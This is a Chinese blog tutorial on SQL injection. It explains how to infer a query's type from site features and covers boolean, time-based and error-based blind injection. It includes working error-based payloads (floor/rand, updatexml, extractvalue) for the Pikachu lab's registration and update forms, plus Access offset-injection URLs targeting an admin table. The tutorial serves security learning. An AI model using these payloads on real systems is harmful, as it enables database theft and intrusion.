16、SQL注入之查询方式及报错盲注

  • Post author:
  • Post category:其他




前言

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。

对方在执行SQL语句之后,结果在显示的时候,他有一些显示上的代码,如果这个代码使用不当,也会导致无回显。

select 查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert 插入数据
在网站应用中进行用户注册添加等操作
例: insert into news(id,url,text) values (2,'x','$t')

delete 删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id

order by 排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id,name,price from news order by $order

重点理解:

我们可以通过以上查询方式与网站应用的关系、注入点产生地方或应用猜测到对方的SQL查询方式

网站用户注册,我们输入相关的账号密码和一些相关信息之后,我们点击立即注册,这个网站就会注册成功一个账号,注册成功一个账号后,就可以用这个账号登录。这个用户注册的功能,就是将对方的信息写到数据库里面,这个操作明显就是添加和插入的操作。就相当于我们测试的是Insert查询方式下的注入

功能不同,对应的语句查询方式也会不同

在网站中,看到相应的功能,在这个时候,我们要测试这个功能是否存在注入点,你应该要提前知道这个功能会涉及到的查询方式

每个数据库他的查询方式的写法都会有很多不同



SQL注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断

regexp、like、ascii、left、ord、mid

(不需要回显就能够判断的)

基于时间的SQL盲注-延时判断

if、sleep

(不需要回显就能够判断的)

基于报错的SQL盲注-报错回显(强制性报错)

floor、updatexml、extractvalue

https://www.jianshu.com/p/bc35f8dd4f7c

是那种盲注是由网站决定的,我们优先选择报错回显,这是最简单的,其次是逻辑判断,最后才是延时判断。因为这三种判断,从效率来看,报错回显是最快的,逻辑判断复杂点,延时判断是最慢的。它根据一个网站回显的时间来判断

参考:
like 'ro%'                             #判断ro或ro...是否成立
regexp '^xiaodi[a-z]'                #匹配xiaodi及xiaodi...等
if (条件,5,0)                          #条件成立 返回5 反之 返回o
sleep(5)                          #SQL语句延时执行5秒
mid(a,b,c)                     #从位置b开始,截取a字符串的c位
substr(a,b,c)                #从b位置开始,截取字符串a的c长度left(database(),1),database()         #left(a,b)从左侧截取a的前b位
length(database())=8               #判断数据库database()名的长度
ord=ascii ascii(x)=97              #判断x的ascii码是否等于97
Payload:
pikachu insert
username=x' or (select 1 from(select count(*),concat((select (select (select concat (0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by xia) or'
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add-hubei&submit=submit

insert语句的特性决定了,它的回显是系统上的是否执行成功、是否执行失败,有没有错误

select注入决定了它是有回显注入的,有回显数据就能回显;针对无回显的,我们要使用盲注,解决它无回显

sql语句的查询方式是决定无回显的因素之一,因为网站对查询完的数据没有进行显示操作的话,也一样会造成无回显,这种情况也是另外一种情况

在这里插入图片描述

在这里插入图片描述

0x7e这一串代码经常会在注入工具里面出现,我们工具在注入的时候,会使用0x7e标出我们想要的数据,方便工具把它取出来。

其实是为了开发者在注入工具里面提取出数据,因为它不会向人工那样去上面看一下

Insert和update它的写法是一样的,无非是代码的实现效果上不一样

pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky’ or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or'&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or'&email=wuhan&submit=submit

加号对应着空格

我们如果要进行注入分析的时候,面对对方某个网站的地方,要清楚它是什么类型的查询方式注入,另外我们要知道这种查询方式是有回显还是没回显

12种报错注入类型基本上包含在sqlmap这种工具里面去了,大家不必去了解这种东西,这些都是SQL语句的写法,我们可以不需要去了解为什么要这么写,你只要知道它是用什么方式去玩就可以了。

各个数据库的函数都是一样的,只是写法不一样而已,具体的查一下资料都能查的出来。不要去纠结这个事情,其它数据库的函数无非就是名字不一样而已,知道作用就可以了。

延时注入可以进行对数据库的猜解,它不需要我们回显,因为它回显的结果就是根据我们页面的加载时间

我们在实际的工作当中是不推荐我们用延时去判断,因为每个网站它返回的时间是不一样的,有的网站打开非常快,有的网站打开非常慢。延时有时候会受到网络速度的影响,所以会有判断上的一些小问题

要经过对比才能知道是否存在延时,所以要调一个能够判断的时间,例如10s

如何猜解出数据库名,先判断它的长度,然后再根据第一位进行猜解,数据库不可能有特殊符号,一般是由字母或加数字组成,一位位的猜下去就可以了

用手工去猜解肯定是很慢的,一般这种注入会用工具和脚本去跑,手工只是了解它的原理,便于我们再注入不成功的时候,去研究那一步有问题

用工具去跑,它判断和115判断是没有区别,如果我们写字符串a-z,0-9,还有一些特殊字符,用编程去实现的话,我们是不是要把所有字符去遍历一遍,依次写到payload里面去猜测,但是如果是数字的话,一个for循环就完事了。

ascii十进制是从0-127。

有些网站就是好玩,明明查询出来的数据,它能够显示,但它就是不显示。不回显的情况下只能采取盲注。



补充: Access暴力猜解不出的问题?

Access偏移注入:解决列名获取不到的情况

表、列名不知道的情况:查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况;这不是百分百的,只是说这是一种方法。

如果靠以上的方法还是搞不出来,那就只能靠字典乱搞了

http://192.168.64.136:81/Production/PRODUCT_DETALasp?id=1513 UNION SELECT 1,2,3,4,5.6,7,8,9 10,11,12,13,14,15,16,* from admin

星号,可代替的字符串

一级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
二级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

Access偏移注入参考文章:https://www.cnblogs.com/02SWD/p/15811580.html



版权声明:本文为m0_53008479原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。